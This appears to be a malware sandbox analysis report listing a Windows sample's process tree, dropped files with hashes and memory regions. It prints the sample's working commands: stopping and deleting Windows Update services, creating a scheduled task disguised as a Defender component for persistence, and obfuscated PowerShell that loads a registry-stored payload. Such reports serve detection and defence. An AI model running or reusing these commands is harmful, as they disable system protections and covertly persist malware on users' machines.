C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nefucvtr#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe ovyftblehadxh2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Modifies data under HKEY_USERS
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe dazvaqbeggbsgujt t6LwBRlc8qbtn+S5edf1ezu1qg1/aKcGYSxFIj/0TNkbKBSbPLtgEBK99bf0068EmXzRjCY0Tc/aZmIF/dfl5jv4YAc8zijrMoyllSiLbkoinjyXaTUoKGS8Kv2uDlBorNHIIcL5wDMa1R1oUhBYJRV1uc6NyC75UB0MGYCDZQtI32KUBvaR0+S3GkcEP42eoiWj8Tcc9Vkh0SgfA7/rMQYirEN46iWX0/8v6TDAkjqj7PVnHA5O3wB1L8l0abCaB9AqSTVcMtJllWwlcNeB4b+v6sF7sW3cjkA+hu2CnDN8Ui5zat8yuFUXot7llgM99YJhRnUcfr58da5seqyKy8tX/Q1+54DmUM8q1BHcoQrVXYP7rbx9tG+E6XGQNljX1u4yy5UZp14lElA6U0qsHoZHcGZaJ43L6It6KRvDKG0Qf9RIwYIF5aKwqZ+1M0muGICP3ULw1Wf9GRPOgBrz6Z1cm3oT4aO7cYSq3XPpgYQb4JzQCWVqCnuWALGOwk0k573yzlTlpvQDgAmVESnv37odCTKMU7+IOWgndQ1scgX8zZRktEHoLSnrm9ZlirpbPDg1UpakH/gG/WatvIShiVwpEkxY3GhXsFMiazOw2co/qH6C4QK8Rs21h50trApiIkxRKI5MURZO5fNuI0f110oivx/Mzvgox4UDHqrmga3TRRIjtZOF5SnXhnA50JoU/lobkJv0JiMAHTInusQkOLPML9FzWw7r3DOyHP80NEkNAbePE+WvRTEz/IdM+gDiNhVz1ijVkuiH5+HmeQV1AAaWlHTQsGamRX3Dxgn3SDlcee7MbQU6GEpfnq2+elFLjJEOlsHXfi9u5H5NRK/syz42NzVJA+Y8ych6dptI0FP46dCU6cBgGuBfPuTaYFz9/Z3aKco+NHeFIFgSUthckNBg6Qoaa+/JBj6y1fwE+BE5ZN4TQMlFLu9jYC1xykiHTgKyWVcKJWrrfzK+/kAX9D2xKNXjgLr+pILlxisJXBGgbVZgj2kKuSm0Jbe/wi9Jc06Ofzng4Mv/8gfOEFr1uwLSUneA7zqW/k/q8aTfRskixRqkZyTz1XhbEK2NT8dwxrXxJhtvTPqd3jbn+OJ3qXB6F+f0LzPL2PGItFR9gdXeVwjWc0LIM0CxIxGgHX3Xxgp5eDIn1Gdq/e8rPI/ZQcDhBO4uZwvps4vSkUwrO4t9CyHCWEctJ/BvP3l3UVhMVs2zYcqyey5HPEeft1hOg1r2yW5xNNydEasMF0140Ty/TJFRWR10uRsF7bqYOeEtUI2DkYm9Phl7ou+15Wt6eKhWAiKClqttC10uOGhsNMDUK6VcOdYhu9N/bxbvik6NOHeW900Eq3G4PlVCGTIjq2dEcOK4PcCsMWsHUHbnkt3nI5vpTCC4NJ917rykfKEeGNi2XyTTCxEmMH/GVkHhDJtMgnXwCEdoHrXvZyUEOzAhVpqogDsLTdu/5D+iGViAJE3fyFexs0dejtBETGKSy/wNhL3XVFJ+6e/PKCRLzNpaB/HAy9JUGXm6lgHMJwpGwadZmEJrWCCbLNr0d/hwN9WLwG+5QQMYzVYn3nroCdmC+suLNri3fjanwjSVe7/HjIz3O/g0eJKme0MbfExdCa8r7ITDEu49oK2sXxpWhhPTyE4uhg6YFol2aIJtckBKflTfaO4/SD4Zv2c7PssGlupvkwIX2kqkyC0e1f3q6Q3/iFpWrAjFvK8kyiYlovEUgJMsNGuTmI+fhlZVSi7phSPRYtN+sMAKbhrxTUqqWBNiSvMIkACgr38X3Lt5BPZb79N2qCTdX1JT/c3Vi3UVbCIh9t9axLU9HHUOTEgSKKU0OftMO9vS6arcTiyG8FKDpByM56WeMuE72JeJjdSasWaaJSZEw7rZyMfs/qRHTzo/r20HYoSPhiTcQnj/N8GExPeqw+xuGmhQ+XzAxsQ3j52Fkev2sVRAgvC2ZwjWUuK431gRgGbhcxUPnRO8YYtHG1oxY/QATAnZWWjvr6JmquZMpkoVtvkxZe+y1lb1fis9oo03dwIeYDxfyUu4PKknpUI8CNNyZXfD67RT6KGitAnRLvjRv85ZhsyACUnrMfho5hN5io37LokrY8D9Wfk+4gAZPaAAlP1VK8GCxms565h7InvL0Q18y8wEVoYGo4hgWGm0um3Dl8FIwQBu4v5Z6d0lx4wwsM6itFC1IuK5nZ6uSfS+/1R/FdRycQ1FJ7RhkX9e7daj8esTPVy+u73lRmIINDjU1xqMa5Wigr4KWCk7RzgyH6aINayl38MtoRzrlXB9KUOUVYFFAP/rfT2EJfY9tVYuLkvRMsUXp3vmyD3E2+GoyTuWWq/CQKfcowg/YefTOCaHK04CVXX95IQrXytcxSD9KRsQFaY9OXnUq7fQHYQL1Q03Vu+PSBxCMMLGZVUYlhn7CnG8/HM6RtgZHN3CH6irOvVfZ/FfFPGdv7zR0hRv9DNpbcH3njL8cX3agp8Kpx4LT6HZmNdqP0zfpeltpPMMivNoHHKKzqQVEj5tygNdT1ukyUin1Fc4KTW5twA0BnWaYrSgixQbhkr6fKa1a8yBNzdS6lolDhuembolwrfkEQG+nxobHHer54QKWt5SzXXqbdVICIWPFtFK51SOEFto3zElG+geZES/rQTmQ9ecNCdDaul2VweZQSvlH6jotB51Jo29q/ZoWK+1WuatXxxbL7J69dZ/0llo7Uet0/1pn0ftUXoJWaw2Wm/SAic/rLwP8XwcwSb8+iHe1dGTYhV5nhdX2u+dp+hwvPs/dCOAaKdZX4MeUOwoEI6AqCV0IXEDOdqL4R8Wi8EGWcfRHq+E2uGUlh0xLPJtlqF+B8MnMqSBeVmioROoYQBopE75bX+PNTYPIh6MS8Y3o2sKTR6zIlwM/UOky8XFIylC21B9EmYwIHFExnp3Lqs2C0HnKlLlLXnADFaOhNSvJiEJh+sPBdaIs3aqVtA/uyildKdWzikSSB+V6lrHaWT7/e9Wp0bJJ/UQKFaAvi1UjUEGjCkhwcn4c18U90tc2+FNNigTdDXAwmaHynhRmVL0XqfvvO7YN/SMR6YK2WDs3uV2e86XxBOmcn6QqS6GSRFAVTU9WURTonksrNuXWv4d2LcYfhqry0V1hht1w1GZ824fCOPQLi0R0UcM1oVHsSTSv7hNT3oAKZmpN0dJYYBlWlU8DHaVM8oJAwf4ul3utMwFalhY35gTStLqWxS/NTQ+W4R/7TKUlwBqtOuNYRlw3Af466svZ/JC92aaMkNi0m6c4FeaswNptKkBaxZ56ivEdyUK0trtPzjt3peUDj0TXh4u2bRoxbzqa4GKnXdewHKdu32Jq1iAtwzoeFKiMtTVe3CTL/wSD4Fr3dJVOl/YITAYYGiWkeRzKkCbRbyg3k7cpQVO4LKB5SLlOab3M5rfjv+w2tNK3mVe9+PuMdY1x/rJ5LL0VLTaMuPHMRX9uj9Jwz5cUO8Dv3UQx9sTQ9HCpdTjDfMMcr5lOFG1Pu6f9RACOp4I5NgO4Z2jIcd2xGPTVvpYWZRij3S4If35PqLXkh/94CoytC9KzxR2XMfGj2/826bjSyDHaoW7cnqTwyzAz1ouvhN+uQCF/lJvTF3fzbm7B6VbQrZ5ri3GX5tYZsuylxzOlTDCJZZRfh08e3Jsz5Lxb9kaKVcbAX14rPZmjEclLeTvZmNzQ7BrFOvGU6CW5XBj2eYQbGoKumd2XN0DNJpXUpNPf0jiH+3kthLqtaKpxl3+zXB2550JrnSGtr+Q6xpIO9GEh0AFAllnOWaPioXKc1EhkCs4jeUmTZkEriGTqYcYPtvIDkU9vEDcZYlWWf5HXmPEZ9RwDTVCwdxUJw2G4eGkMkz4WaX32mWkQQGtj+V0PPmBnJpInd4/N3vVsm06vLI0nTrg7VI05t0qxc1qelNvqUh/FJGpeNuPNRqLoPFDxBCectrCbmXU3nT75E2kS5IMEiaDw+9n2pznnP7xx9nVk7hjMJfKvo91z540OrKd55TELYLFmTh375d70mxtgk+BBrNgke6VmGBuruaBC1kZmd03viIR3ncmcIMsUV68e0SK3M3QxdwLizc04cfUGokuvRrn1+OyApWgRzv1VWs0pE9D8/O6Bi0Kie2YydO0evkpXX9goMFQ+L3+ZNebP3JFhe8JaJL+YMuFvvtajpfdWn+4CcvNy374bQ6DcrxkzdJrvaHiEc1hVLSXA5F8KlnatIRdidGCpEIvV+nuLzmwkmiJSOWuqCGAMHiCeL4+KptGM5HaPC1qFtNkC+m6Ke+9/lNAu3qg7HzX1UA/30luGdmK4mdmfeo0Mvm0bxo0ZOxX65zwG3AjDhtLxVOyvjuqlK9O2MvS7YSPlTfrUsLN0v06/dGlQWQkt7jl/cywYCNz5bcsTHvtXrTWyd+TYlLzAXQ0pFvq7BTUxlqcu+WkxRGbEo3/d6VB7la2eHK46gXED8W16aqPk+nPgZMYtR5o4mlYZ9fLX0TYo0Pl8FG5dXd7nK1qWIUWQW/6HtCB0LdF+YsFc1hxWg4PpTZ9kqfctjaQkCfDSKB7ok13XyNbHWB9b+7kIDIEocw+RE+m+qwgDeUtfLg8NBtIbuP8vhjG9HvJ1CoEfn8QBBHz1lsN/IZwFaMrhvTirDI/Ed/71JBIBBePiXwIX2a144zA9O+jSw92xv+4VqWPxrdlsa1sG6DIpBCb5kS3rMVNSbx0ej6XeXdjkMAIlZNVUlkDBPqEm871/3WiEF1z7WjNllxFwih21Wpu+dScCVAIxZcfDCR27w10GDyGmnxyoK7YeQuRnBA23oNz6SPlGs+Hr7B7Bcjzbe5oekfxwIa1mU3/KH3nuDT9LLqicIbQkucemXTKEJkjUwIk2iMMLinz194tmWzsZcw6l89c1wtUF8/NbhtxfEmtIjU=2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskeng.exetaskeng.exe {1A8196DD-2FF0-4485-A691-35580D9EBA6A} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'OF'+[Char](84)+'W'+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+'a'+'l'+'e'+[Char](114)+'s'+[Char](116)+'a'+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+[Char](70)+''+'T'+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+'i'+'a'+''+[Char](108)+''+'e'+''+[Char](114)+''+[Char](115)+''+'t'+''+[Char](97)+'g'+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe"C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exeFilesize
3.7MB
MD5e2fb72e358e13e40ae8327c3a9df8165
SHA1b40aceed9393e3d4c289b2cf477dd5dee76a39da
SHA256d6516a119c2c08859883d95f97b0bd4b2fb8fbad7d7fae6ed2d79b447177d408
SHA512b209805a5194ccf70a97a57685a1765bb1ef15480994a2737084805fa21f79a285a5a1f98d0857051bc03ad98a2c90d81b33bb49cde1e955ba9898e86d8697e9
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C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exeFilesize
3.7MB
MD5e2fb72e358e13e40ae8327c3a9df8165
SHA1b40aceed9393e3d4c289b2cf477dd5dee76a39da
SHA256d6516a119c2c08859883d95f97b0bd4b2fb8fbad7d7fae6ed2d79b447177d408
SHA512b209805a5194ccf70a97a57685a1765bb1ef15480994a2737084805fa21f79a285a5a1f98d0857051bc03ad98a2c90d81b33bb49cde1e955ba9898e86d8697e9
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exeFilesize
3.7MB
MD5e2fb72e358e13e40ae8327c3a9df8165
SHA1b40aceed9393e3d4c289b2cf477dd5dee76a39da
SHA256d6516a119c2c08859883d95f97b0bd4b2fb8fbad7d7fae6ed2d79b447177d408
SHA512b209805a5194ccf70a97a57685a1765bb1ef15480994a2737084805fa21f79a285a5a1f98d0857051bc03ad98a2c90d81b33bb49cde1e955ba9898e86d8697e9
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exeFilesize
3.7MB
MD5e2fb72e358e13e40ae8327c3a9df8165
SHA1b40aceed9393e3d4c289b2cf477dd5dee76a39da
SHA256d6516a119c2c08859883d95f97b0bd4b2fb8fbad7d7fae6ed2d79b447177d408
SHA512b209805a5194ccf70a97a57685a1765bb1ef15480994a2737084805fa21f79a285a5a1f98d0857051bc03ad98a2c90d81b33bb49cde1e955ba9898e86d8697e9
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C:\Users\Admin\AppData\Local\Temp\SysApp.exeFilesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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C:\Users\Admin\AppData\Local\Temp\SysApp.exeFilesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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C:\Users\Admin\AppData\Local\Temp\new2.exeFilesize
590KB
MD5d83c68b004860f9df81e16471daef592
SHA1b0f94bcaa4c806b9a35d7b8762c0ec5abf25ae9c
SHA256fbc2c0e4cd92c2baf24a96418c5598cc62bf11171e1bb7c423332c3f6782f37b
SHA512a716c0d6069b40b5e829a2555fa7b834ceb06de52837ab512ef2915b4a9bfe225a0e10c40a2f44fac636b15a42b87c701c0ad4a81ea840d09e3e7b4ceadaf084
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD526fdfe6c397085f2e2362956c9e629ef
SHA1f72646f1395bd85d0d832e3c5c0940694bba5318
SHA25615603c15c3b135aac873ab0582c72638d2ec8138126a7490a6e6c5d4f5cbcc44
SHA512ce599feaee0e79c45823408c285d75c72b388254328fd2379a737c95c0b3cbcabfa167742c9f68f2814f6bf60444988d70f5dfc9545ea3bcb5243db65dec15be
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD526fdfe6c397085f2e2362956c9e629ef
SHA1f72646f1395bd85d0d832e3c5c0940694bba5318
SHA25615603c15c3b135aac873ab0582c72638d2ec8138126a7490a6e6c5d4f5cbcc44
SHA512ce599feaee0e79c45823408c285d75c72b388254328fd2379a737c95c0b3cbcabfa167742c9f68f2814f6bf60444988d70f5dfc9545ea3bcb5243db65dec15be
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C:\Windows\System32\drivers\etc\hostsFilesize
2KB
MD54ac8a26e2cee1347880edccb47ab30ea
SHA1a629f6d453014c9dccb98987e1f4b0a3d4bdd460
SHA256de574c85b289f23bba4b932a4c48397c4c61904cb6df086726dd7f8049624c3a
SHA512fc2af80b2e84ae114ae06144b9ec41eed50250e20f18db3d114ac8d2c59ebbfcd440f59d12f173ea6a94bcf394b0cecee9e120265112b7043bf9e2bd636d6a8a
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\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exeFilesize
3.7MB
MD5e2fb72e358e13e40ae8327c3a9df8165
SHA1b40aceed9393e3d4c289b2cf477dd5dee76a39da
SHA256d6516a119c2c08859883d95f97b0bd4b2fb8fbad7d7fae6ed2d79b447177d408
SHA512b209805a5194ccf70a97a57685a1765bb1ef15480994a2737084805fa21f79a285a5a1f98d0857051bc03ad98a2c90d81b33bb49cde1e955ba9898e86d8697e9
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\Users\Admin\AppData\Local\Temp\SmartDefRun.exeFilesize
3.7MB
MD5e2fb72e358e13e40ae8327c3a9df8165
SHA1b40aceed9393e3d4c289b2cf477dd5dee76a39da
SHA256d6516a119c2c08859883d95f97b0bd4b2fb8fbad7d7fae6ed2d79b447177d408
SHA512b209805a5194ccf70a97a57685a1765bb1ef15480994a2737084805fa21f79a285a5a1f98d0857051bc03ad98a2c90d81b33bb49cde1e955ba9898e86d8697e9
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\Users\Admin\AppData\Local\Temp\SysApp.exeFilesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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\Users\Admin\AppData\Local\Temp\SysApp.exeFilesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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\Users\Admin\AppData\Local\Temp\new2.exeFilesize
590KB
MD5d83c68b004860f9df81e16471daef592
SHA1b0f94bcaa4c806b9a35d7b8762c0ec5abf25ae9c
SHA256fbc2c0e4cd92c2baf24a96418c5598cc62bf11171e1bb7c423332c3f6782f37b
SHA512a716c0d6069b40b5e829a2555fa7b834ceb06de52837ab512ef2915b4a9bfe225a0e10c40a2f44fac636b15a42b87c701c0ad4a81ea840d09e3e7b4ceadaf084
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\Users\Admin\AppData\Local\Temp\new2.exeFilesize
590KB
MD5d83c68b004860f9df81e16471daef592
SHA1b0f94bcaa4c806b9a35d7b8762c0ec5abf25ae9c
SHA256fbc2c0e4cd92c2baf24a96418c5598cc62bf11171e1bb7c423332c3f6782f37b
SHA512a716c0d6069b40b5e829a2555fa7b834ceb06de52837ab512ef2915b4a9bfe225a0e10c40a2f44fac636b15a42b87c701c0ad4a81ea840d09e3e7b4ceadaf084
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memory/336-172-0x0000000000000000-mapping.dmp
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memory/336-144-0x0000000000401159-mapping.dmp
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memory/392-196-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/392-194-0x0000000000040000-0x0000000000060000-memory.dmpFilesize
128KB
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memory/392-193-0x00000001407F2720-mapping.dmp
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memory/560-115-0x0000000000000000-mapping.dmp
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memory/576-111-0x0000000000000000-mapping.dmp
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memory/680-129-0x000007FEF3BF0000-0x000007FEF4613000-memory.dmpFilesize
10.1MB
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memory/680-134-0x0000000002204000-0x0000000002207000-memory.dmpFilesize
12KB
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memory/680-132-0x000007FEF3090000-0x000007FEF3BED000-memory.dmpFilesize
11.4MB
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memory/680-146-0x000000000220B000-0x000000000222A000-memory.dmpFilesize
124KB
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memory/680-151-0x0000000002204000-0x0000000002207000-memory.dmpFilesize
12KB
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memory/680-152-0x000000000220B000-0x000000000222A000-memory.dmpFilesize
124KB
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memory/864-116-0x0000000000000000-mapping.dmp
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memory/896-65-0x0000000000000000-mapping.dmp
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memory/900-62-0x0000000000401159-mapping.dmp
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memory/900-56-0x0000000000400000-0x0000000000405000-memory.dmpFilesize
20KB
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memory/900-54-0x0000000000400000-0x0000000000405000-memory.dmpFilesize
20KB
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memory/900-64-0x0000000000400000-0x0000000000405000-memory.dmpFilesize
20KB
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memory/900-63-0x0000000074E41000-0x0000000074E43000-memory.dmpFilesize
8KB
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memory/932-108-0x0000000000000000-mapping.dmp
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memory/940-106-0x0000000000000000-mapping.dmp
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memory/944-120-0x000007FEF26F0000-0x000007FEF324D000-memory.dmpFilesize
11.4MB
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memory/944-123-0x0000000001F64000-0x0000000001F67000-memory.dmpFilesize
12KB
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memory/944-124-0x0000000001F6B000-0x0000000001F8A000-memory.dmpFilesize
124KB
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memory/944-121-0x0000000001F6B000-0x0000000001F8A000-memory.dmpFilesize
124KB
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memory/944-118-0x000007FEF3250000-0x000007FEF3C73000-memory.dmpFilesize
10.1MB
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memory/944-119-0x0000000001F64000-0x0000000001F67000-memory.dmpFilesize
12KB
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memory/976-133-0x0000000000000000-mapping.dmp
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memory/1020-181-0x000007FEF3250000-0x000007FEF3C73000-memory.dmpFilesize
10.1MB
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memory/1020-131-0x0000000000000000-mapping.dmp
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memory/1020-184-0x0000000000E54000-0x0000000000E57000-memory.dmpFilesize
12KB
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memory/1020-182-0x000007FEF26F0000-0x000007FEF324D000-memory.dmpFilesize
11.4MB
-
memory/1020-192-0x0000000076BA0000-0x0000000076CBF000-memory.dmpFilesize
1.1MB
-
memory/1020-195-0x0000000076BA0000-0x0000000076CBF000-memory.dmpFilesize
1.1MB
-
memory/1020-185-0x0000000000E5B000-0x0000000000E7A000-memory.dmpFilesize
124KB
-
memory/1020-188-0x0000000076DC0000-0x0000000076F69000-memory.dmpFilesize
1.7MB
-
memory/1072-145-0x0000000000000000-mapping.dmp
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memory/1120-66-0x0000000000000000-mapping.dmp
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memory/1120-68-0x0000000072B60000-0x000000007310B000-memory.dmpFilesize
5.7MB
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memory/1120-83-0x0000000072B60000-0x000000007310B000-memory.dmpFilesize
5.7MB
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memory/1140-163-0x0000000000000000-mapping.dmp
-
memory/1144-69-0x0000000000000000-mapping.dmp
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memory/1156-72-0x0000000000000000-mapping.dmp
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memory/1188-114-0x0000000000000000-mapping.dmp
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memory/1196-105-0x0000000000000000-mapping.dmp
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memory/1328-162-0x0000000000000000-mapping.dmp
-
memory/1328-113-0x0000000000000000-mapping.dmp
-
memory/1476-149-0x0000000000000000-mapping.dmp
-
memory/1492-109-0x0000000000000000-mapping.dmp
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memory/1500-200-0x0000000000000000-mapping.dmp
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memory/1536-174-0x0000000000000000-mapping.dmp
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memory/1560-166-0x0000000000000000-mapping.dmp
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memory/1592-76-0x0000000000000000-mapping.dmp
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memory/1592-88-0x0000000000570000-0x00000000006AD000-memory.dmpFilesize
1.2MB
-
memory/1592-190-0x000000000B740000-0x000000000B797000-memory.dmpFilesize
348KB
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memory/1592-84-0x0000000000570000-0x00000000006AD000-memory.dmpFilesize
1.2MB
-
memory/1592-140-0x0000000000570000-0x00000000006AD000-memory.dmpFilesize
1.2MB
-
memory/1592-82-0x0000000001F10000-0x0000000002414000-memory.dmpFilesize
5.0MB
-
memory/1592-197-0x00000000002C0000-0x00000000002C6000-memory.dmpFilesize
24KB
-
memory/1592-130-0x0000000001F10000-0x0000000002414000-memory.dmpFilesize
5.0MB
-
memory/1592-201-0x0000000000570000-0x00000000006AD000-memory.dmpFilesize
1.2MB
-
memory/1620-165-0x000007FEF3090000-0x000007FEF3BED000-memory.dmpFilesize
11.4MB
-
memory/1620-164-0x000007FEF3BF0000-0x000007FEF4613000-memory.dmpFilesize
10.1MB
-
memory/1620-175-0x00000000011F4000-0x00000000011F7000-memory.dmpFilesize
12KB
-
memory/1620-176-0x00000000011FB000-0x000000000121A000-memory.dmpFilesize
124KB
-
memory/1620-171-0x00000000011F4000-0x00000000011F7000-memory.dmpFilesize
12KB
-
memory/1636-177-0x00000001400014E0-mapping.dmp
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memory/1644-170-0x0000000000000000-mapping.dmp
-
memory/1664-161-0x0000000000000000-mapping.dmp
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memory/1724-98-0x000000000009ADAE-mapping.dmp
-
memory/1724-91-0x0000000000080000-0x00000000000A0000-memory.dmpFilesize
128KB
-
memory/1724-93-0x0000000000080000-0x00000000000A0000-memory.dmpFilesize
128KB
-
memory/1724-99-0x0000000000080000-0x00000000000A0000-memory.dmpFilesize
128KB
-
memory/1724-100-0x0000000000080000-0x00000000000A0000-memory.dmpFilesize
128KB
-
memory/1732-122-0x0000000000000000-mapping.dmp
-
memory/1792-169-0x0000000000000000-mapping.dmp
-
memory/1824-186-0x0000000000000000-mapping.dmp
-
memory/1824-167-0x0000000000000000-mapping.dmp
-
memory/1888-104-0x00000000023FB000-0x000000000241A000-memory.dmpFilesize
124KB
-
memory/1888-85-0x000007FEFB641000-0x000007FEFB643000-memory.dmpFilesize
8KB
-
memory/1888-89-0x00000000023F4000-0x00000000023F7000-memory.dmpFilesize
12KB
-
memory/1888-102-0x00000000023FB000-0x000000000241A000-memory.dmpFilesize
124KB
-
